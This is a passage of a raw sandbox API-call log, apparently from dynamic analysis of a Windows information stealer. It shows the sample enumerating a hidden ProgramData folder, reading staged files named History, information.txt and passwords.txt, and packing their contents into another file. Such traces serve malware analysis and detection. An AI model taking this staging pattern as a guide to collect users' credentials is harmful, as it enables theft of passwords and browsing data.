"c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\history"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0102.099] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112ae0 | out: hHeap=0x2110000) returned 1 [0102.099] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430470 | out: hHeap=0x2110000) returned 1 [0102.099] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0102.099] DeleteFileW (lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\History" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\history")) returned 0 [0102.099] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112a98 | out: hHeap=0x2110000) returned 1 [0102.099] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19ef24 | out: lpFindFileData=0x19ef24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3376145f, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x3376145f, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x33e6bf8e, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x135e, dwReserved0=0x0, dwReserved1=0x0, cFileName="information.txt", cAlternateFileName="INFORM~1.TXT")) returned 1 [0102.099] lstrcpyW (in: lpString1=0x19f174, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files" [0102.099] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\" [0102.099] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\", lpString2="information.txt" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\information.txt") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\information.txt" [0102.100] lstrcpyW (in: lpString1=0x19f37c, lpString2="" | out: lpString1="") returned="" [0102.100] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0102.100] lstrcatW (in: lpString1="\\", lpString2="information.txt" | out: lpString1="\\information.txt") returned="\\information.txt" [0102.100] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x80) returned 0x3430048 [0102.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\information.txt", cchWideChar=63, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 63 [0102.100] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x3f) returned 0x2112978 [0102.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\information.txt", cchWideChar=63, lpMultiByteStr=0x2112978, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\information.txt", lpUsedDefaultChar=0x0) returned 63 [0102.100] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112c48 [0102.100] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112978 | out: hHeap=0x2110000) returned 1 [0102.100] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0102.100] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f7ac, cbMultiByte=4, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0102.100] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x8) returned 0x2116968 [0102.100] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f7ac, cbMultiByte=4, lpWideCharStr=0x2116968, cchWideChar=4 | out: lpWideCharStr="*.*") returned 4 [0102.100] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2116968 | out: hHeap=0x2110000) returned 1 [0102.100] PathMatchSpecW (pszFile="information.txt", pszSpec="*.*") returned 1 [0102.100] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x80) returned 0x3430048 [0102.100] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x34300d0 [0102.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\information.txt", cchWideChar=63, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 63 [0102.100] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x3f) returned 0x2112db0 [0102.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\information.txt", cchWideChar=63, lpMultiByteStr=0x2112db0, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\information.txt", lpUsedDefaultChar=0x0) returned 63 [0102.100] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112780 [0102.100] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112db0 | out: hHeap=0x2110000) returned 1 [0102.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\information.txt", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0102.100] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x11) returned 0x3430bc0 [0102.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\information.txt", cchWideChar=17, lpMultiByteStr=0x3430bc0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\information.txt", lpUsedDefaultChar=0x0) returned 17 [0102.100] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430600 [0102.101] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430bc0 | out: hHeap=0x2110000) returned 1 [0102.101] GetLastError () returned 0x5 [0102.101] SetLastError (dwErrCode=0x5) [0102.101] GetLastError () returned 0x5 [0102.101] SetLastError (dwErrCode=0x5) [0102.101] GetLastError () returned 0x5 [0102.101] SetLastError (dwErrCode=0x5) [0102.101] GetLastError () returned 0x5 [0102.101] SetLastError (dwErrCode=0x5) [0102.101] GetLastError () returned 0x5 [0102.101] SetLastError (dwErrCode=0x5) [0102.101] GetLastError () returned 0x5 [0102.101] SetLastError (dwErrCode=0x5) [0102.101] GetLastError () returned 0x5 [0102.101] SetLastError (dwErrCode=0x5) [0102.101] GetLastError () returned 0x5 [0102.101] SetLastError (dwErrCode=0x5) [0102.101] CreateFileA (lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\information.txt" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\information.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0102.102] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe9 [0102.102] GetFileInformationByHandle (in: hFile=0x4e4, lpFileInformation=0x19e8c8 | out: lpFileInformation=0x19e8c8) returned 1 [0102.102] GetFileSize (in: hFile=0x4e4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x135e [0102.102] SetFilePointer (in: hFile=0x4e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0102.102] ReadFile (in: hFile=0x4e4, lpBuffer=0x19e8a8, nNumberOfBytesToRead=0x2, lpNumberOfBytesRead=0x19e8ac, lpOverlapped=0x0 | out: lpBuffer=0x19e8a8*, lpNumberOfBytesRead=0x19e8ac*=0x2, lpOverlapped=0x0) returned 1 [0102.102] SetFilePointer (in: hFile=0x4e4, lDistanceToMove=36, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x24 [0102.102] ReadFile (in: hFile=0x4e4, lpBuffer=0x19e8b4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x19e8ac, lpOverlapped=0x0 | out: lpBuffer=0x19e8b4*, lpNumberOfBytesRead=0x19e8ac*=0x4, lpOverlapped=0x0) returned 1 [0102.102] FileTimeToSystemTime (in: lpFileTime=0x19e888, lpSystemTime=0x19e870 | out: lpSystemTime=0x19e870) returned 1 [0102.102] SetFilePointer (in: hFile=0x4e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0102.102] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e95f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e93c, lpOverlapped=0x0 | out: lpBuffer=0x19e95f*, lpNumberOfBytesWritten=0x19e93c*=0x1, lpOverlapped=0x0) returned 1 [0102.102] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e95f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e930, lpOverlapped=0x0 | out: lpBuffer=0x19e95f*, lpNumberOfBytesWritten=0x19e930*=0x1, lpOverlapped=0x0) returned 1 [0102.102] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e924, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e924*=0x1, lpOverlapped=0x0) returned 1 [0102.103] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e918, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e918*=0x1, lpOverlapped=0x0) returned 1 [0102.103] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e90c, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e90c*=0x1, lpOverlapped=0x0) returned 1 [0102.103] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e900, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e900*=0x1, lpOverlapped=0x0) returned 1 [0102.103] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e93c, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e93c*=0x1, lpOverlapped=0x0) returned 1 [0102.103] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e930, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e930*=0x1, lpOverlapped=0x0) returned 1 [0102.103] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e924, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e924*=0x1, lpOverlapped=0x0) returned 1 [0102.103] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e918, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e918*=0x1, lpOverlapped=0x0) returned 1 [0102.103] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e90c, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e90c*=0x1, lpOverlapped=0x0) returned 1 [0102.103] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e900, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e900*=0x1, lpOverlapped=0x0) returned 1 [0102.103] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e93c, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e93c*=0x1, lpOverlapped=0x0) returned 1 [0102.104] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e930, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e930*=0x1, lpOverlapped=0x0) returned 1 [0102.104] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e924, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e924*=0x1, lpOverlapped=0x0) returned 1 [0102.104] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e918, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e918*=0x1, lpOverlapped=0x0) returned 1 [0102.104] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e90c, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e90c*=0x1, lpOverlapped=0x0) returned 1 [0102.104] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e900, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e900*=0x1, lpOverlapped=0x0) returned 1 [0102.104] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e93c, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e93c*=0x1, lpOverlapped=0x0) returned 1 [0102.104] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e930, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e930*=0x1, lpOverlapped=0x0) returned 1 [0102.104] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e924, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e924*=0x1, lpOverlapped=0x0) returned 1 [0102.105] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e918, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e918*=0x1, lpOverlapped=0x0) returned 1 [0102.105] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e90c, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e90c*=0x1, lpOverlapped=0x0) returned 1 [0102.105] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e900, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e900*=0x1, lpOverlapped=0x0) returned 1 [0102.105] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e93c, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e93c*=0x1, lpOverlapped=0x0) returned 1 [0102.105] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e930, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e930*=0x1, lpOverlapped=0x0) returned 1 [0102.105] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e924, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e924*=0x1, lpOverlapped=0x0) returned 1 [0102.105] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e918, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e918*=0x1, lpOverlapped=0x0) returned 1 [0102.105] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e90c, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e90c*=0x1, lpOverlapped=0x0) returned 1 [0102.105] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e900, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e900*=0x1, lpOverlapped=0x0) returned 1 [0102.105] WriteFile (in: hFile=0x2f8, lpBuffer=0x19eae0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x19e93c, lpOverlapped=0x0 | out: lpBuffer=0x19eae0*, lpNumberOfBytesWritten=0x19e93c*=0x10, lpOverlapped=0x0) returned 1 [0102.106] WriteFile (in: hFile=0x2f8, lpBuffer=0x19ecf8*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x19e93c, lpOverlapped=0x0 | out: lpBuffer=0x19ecf8*, lpNumberOfBytesWritten=0x19e93c*=0x11, lpOverlapped=0x0) returned 1 [0102.106] GetDesktopWindow () returned 0x10010 [0102.106] GetTickCount () returned 0x15aaab4 [0102.106] GetLastError () returned 0x0 [0102.106] SetLastError (dwErrCode=0x0) [0102.106] GetLastError () returned 0x0 [0102.106] SetLastError (dwErrCode=0x0) [0102.106] GetLastError () returned 0x0 [0102.106] SetLastError (dwErrCode=0x0) [0102.106] ReadFile (in: hFile=0x4e4, lpBuffer=0x33ca998, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x19e924, lpOverlapped=0x0 | out: lpBuffer=0x33ca998*, lpNumberOfBytesRead=0x19e924*=0x135e, lpOverlapped=0x0) returned 1 [0102.107] ReadFile (in: hFile=0x4e4, lpBuffer=0x33cbcf6, nNumberOfBytesToRead=0xeca2, lpNumberOfBytesRead=0x19e904, lpOverlapped=0x0 | out: lpBuffer=0x33cbcf6*, lpNumberOfBytesRead=0x19e904*=0x0, lpOverlapped=0x0) returned 1 [0102.107] WriteFile (in: hFile=0x2f8, lpBuffer=0x33aba1c*, nNumberOfBytesToWrite=0x74e, lpNumberOfBytesWritten=0x19e8f0, lpOverlapped=0x0 | out: lpBuffer=0x33aba1c*, lpNumberOfBytesWritten=0x19e8f0*=0x74e, lpOverlapped=0x0) returned 1 [0102.109] CloseHandle (hObject=0x4e4) returned 1 [0102.109] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=233, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe9 [0102.109] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e95f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e93c, lpOverlapped=0x0 | out: lpBuffer=0x19e95f*, lpNumberOfBytesWritten=0x19e93c*=0x1, lpOverlapped=0x0) returned 1 [0102.109] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e95f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e930, lpOverlapped=0x0 | out: lpBuffer=0x19e95f*, lpNumberOfBytesWritten=0x19e930*=0x1, lpOverlapped=0x0) returned 1 [0102.109] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e924, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e924*=0x1, lpOverlapped=0x0) returned 1 [0102.110] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e918, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e918*=0x1, lpOverlapped=0x0) returned 1 [0102.110] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e90c, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e90c*=0x1, lpOverlapped=0x0) returned 1 [0102.110] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e900, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e900*=0x1, lpOverlapped=0x0) returned 1 [0102.110] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e93c, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e93c*=0x1, lpOverlapped=0x0) returned 1 [0102.110] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e930, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e930*=0x1, lpOverlapped=0x0) returned 1 [0102.110] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e924, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e924*=0x1, lpOverlapped=0x0) returned 1 [0102.110] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e918, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e918*=0x1, lpOverlapped=0x0) returned 1 [0102.110] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e90c, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e90c*=0x1, lpOverlapped=0x0) returned 1 [0102.110] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e900, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e900*=0x1, lpOverlapped=0x0) returned 1 [0102.110] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e93c, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e93c*=0x1, lpOverlapped=0x0) returned 1 [0102.110] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e930, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e930*=0x1, lpOverlapped=0x0) returned 1 [0102.111] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e924, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e924*=0x1, lpOverlapped=0x0) returned 1 [0102.111] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e918, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e918*=0x1, lpOverlapped=0x0) returned 1 [0102.111] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e90c, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e90c*=0x1, lpOverlapped=0x0) returned 1 [0102.111] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e900, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e900*=0x1, lpOverlapped=0x0) returned 1 [0102.111] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e93c, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e93c*=0x1, lpOverlapped=0x0) returned 1 [0102.111] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e930, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e930*=0x1, lpOverlapped=0x0) returned 1 [0102.111] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e924, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e924*=0x1, lpOverlapped=0x0) returned 1 [0102.113] lstrcpyW (in: lpString1=0x19f174, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files" [0102.113] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\" [0102.113] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\", lpString2="passwords.txt" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\passwords.txt") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\passwords.txt" [0102.113] lstrcpyW (in: lpString1=0x19f37c, lpString2="" | out: lpString1="") returned="" [0102.113] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0102.114] lstrcatW (in: lpString1="\\", lpString2="passwords.txt" | out: lpString1="\\passwords.txt") returned="\\passwords.txt" [0102.114] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x80) returned 0x3430048 [0102.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\passwords.txt", cchWideChar=61, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 61 [0102.114] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x3d) returned 0x2112d20 [0102.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\passwords.txt", cchWideChar=61, lpMultiByteStr=0x2112d20, cbMultiByte=61, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\passwords.txt", lpUsedDefaultChar=0x0) returned 61 [0102.114] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 